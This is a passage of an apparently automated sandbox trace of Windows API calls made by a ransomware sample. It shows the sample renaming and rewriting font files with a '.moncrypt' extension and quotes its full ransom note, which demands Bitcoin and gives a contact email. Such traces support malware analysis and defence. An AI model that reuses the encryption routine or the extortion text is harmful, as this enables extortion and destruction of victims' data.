ftCreationTime.dwLowDateTime=0xc8f60300, ftCreationTime.dwHighDateTime=0x1c324cc, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc8f60300, ftLastWriteTime.dwHighDateTime=0x1c324cc, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICAD.FMP", cAlternateFileName="")) returned 1 [0055.672] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0055.672] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0055.672] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.672] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.672] GlobalUnlock (hMem=0x44000c) returned 0 [0055.672] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.672] GlobalLock (hMem=0x440004) returned 0x557b88 [0055.672] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.672] GlobalUnlock (hMem=0x44000c) returned 0 [0055.672] GlobalHandle (pMem=0x557b88) returned 0x440004 [0055.672] GlobalUnlock (hMem=0x440004) returned 0 [0055.672] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.672] CharLowerBuffW (in: lpsz="ICAD.FMP", cchLength=0x8 | out: lpsz="icad.fmp") returned 0x8 [0055.672] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.672] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.673] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.673] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.673] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.673] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.673] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.673] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.673] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0055.673] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP", cchWideChar=74, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMPy", lpUsedDefaultChar=0x0) returned 74 [0055.673] CharLowerBuffW (in: lpsz=".FMP", cchLength=0x4 | out: lpsz=".fmp") returned 0x4 [0055.673] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".fmp", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".fmpShared\\Visio Shared\\Fonts\\ICAD.FMPy", lpUsedDefaultChar=0x0) returned 4 [0055.673] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8f60300, ftCreationTime.dwHighDateTime=0x1c324cc, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc8f60300, ftLastWriteTime.dwHighDateTime=0x1c324cc, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICAD.FMP", cAlternateFileName="")) returned 0x54e240 [0055.673] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0055.673] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0055.673] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0055.673] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP", dwFileAttributes=0x20) returned 1 [0055.674] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0055.674] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\icad.fmp"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\icad.fmp.moncrypt")) returned 1 [0055.677] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\icad.fmp.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0055.677] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0055.677] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x146 [0055.677] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0055.677] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8, nNumberOfBytesToRead=0x146, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesRead=0x18e6f4*=0x146, lpOverlapped=0x0) returned 1 [0055.678] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.678] GlobalLock (hMem=0x44000c) returned 0x557b88 [0055.678] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.679] GlobalUnlock (hMem=0x440004) returned 0 [0055.679] GlobalHandle (pMem=0x557b88) returned 0x44000c [0055.679] GlobalUnlock (hMem=0x44000c) returned 0 [0055.679] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.679] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.679] GlobalUnlock (hMem=0x44000c) returned 0 [0055.679] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0055.679] WriteFile (in: hFile=0x18c, lpBuffer=0x1d7da58*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1d7da58*, lpNumberOfBytesWritten=0x18e6f0*=0x160, lpOverlapped=0x0) returned 1 [0055.680] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0055.680] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0055.691] WriteFile (in: hFile=0x18c, lpBuffer=0x1d84b08*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1d84b08*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0055.691] CloseHandle (hObject=0x18c) returned 1 [0055.692] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\icad.fmp.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0055.692] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0055.692] CloseHandle (hObject=0x18c) returned 1 [0055.692] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP.moncrypt", dwFileAttributes=0x20) returned 1 [0055.693] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0055.693] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.693] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.693] GlobalUnlock (hMem=0x44000c) returned 0 [0055.693] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.693] GlobalLock (hMem=0x440004) returned 0x557b88 [0055.693] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.693] GlobalUnlock (hMem=0x44000c) returned 0 [0055.693] GlobalHandle (pMem=0x557b88) returned 0x440004 [0055.693] GlobalUnlock (hMem=0x440004) returned 0 [0055.693] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0055.693] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42429200, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x42429200, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x42429200, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0055.693] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0055.693] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0055.693] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0055.694] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0055.694] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0055.694] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0055.694] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0055.694] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0055.694] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0055.694] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0055.694] ReadFile (in: hFile=0x18c, lpBuffer=0x1dcc6d8, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0055.694] CloseHandle (hObject=0x18c) returned 1 [0055.738] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x369d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHGDTXT.SHX", cAlternateFileName="")) returned 1 [0055.738] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0055.738] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0055.738] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.738] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.738] GlobalUnlock (hMem=0x440004) returned 0 [0055.738] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.738] GlobalLock (hMem=0x44000c) returned 0x557b88 [0055.738] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.738] GlobalUnlock (hMem=0x440004) returned 0 [0055.738] GlobalHandle (pMem=0x557b88) returned 0x44000c [0055.738] GlobalUnlock (hMem=0x44000c) returned 0 [0055.738] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.739] CharLowerBuffW (in: lpsz="WHGDTXT.SHX", cchLength=0xb | out: lpsz="whgdtxt.shx") returned 0xb [0055.739] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.739] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.739] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.739] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.739] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.739] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.739] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.739] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.739] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.739] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.739] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.739] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0055.739] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX", cchWideChar=77, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX", lpUsedDefaultChar=0x0) returned 77 [0055.739] CharLowerBuffW (in: lpsz=".SHX", cchLength=0x4 | out: lpsz=".shx") returned 0x4 [0055.739] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".shx", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".shxShared\\Visio Shared\\Fonts\\WHGDTXT.SHX", lpUsedDefaultChar=0x0) returned 4 [0055.739] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x369d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHGDTXT.SHX", cAlternateFileName="")) returned 0x54e240 [0055.740] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0055.740] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0055.740] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0055.740] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX", dwFileAttributes=0x20) returned 1 [0055.771] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0055.771] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx.moncrypt")) returned 1 [0055.772] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0055.773] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0055.773] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x369d3 [0055.773] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0055.773] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0055.777] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.777] GlobalLock (hMem=0x440004) returned 0x55bb88 [0055.777] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0055.777] GlobalUnlock (hMem=0x440004) returned 0 [0055.777] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0055.777] GlobalLock (hMem=0x440004) returned 0x55bb88 [0055.777] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0055.777] GlobalUnlock (hMem=0x440004) returned 0 [0055.777] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0055.777] GlobalLock (hMem=0x440004) returned 0x55bb88 [0055.777] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.777] GlobalUnlock (hMem=0x44000c) returned 0 [0055.778] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0055.778] GlobalUnlock (hMem=0x440004) returned 0 [0055.778] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.778] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.778] GlobalUnlock (hMem=0x440004) returned 0 [0055.778] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0055.778] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.778] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.778] GlobalUnlock (hMem=0x440004) returned 0 [0055.778] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0055.779] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0055.779] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0055.779] SetFilePointer (in: hFile=0x18c, lDistanceToMove=223699, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x369d3 [0055.779] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0055.781] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, 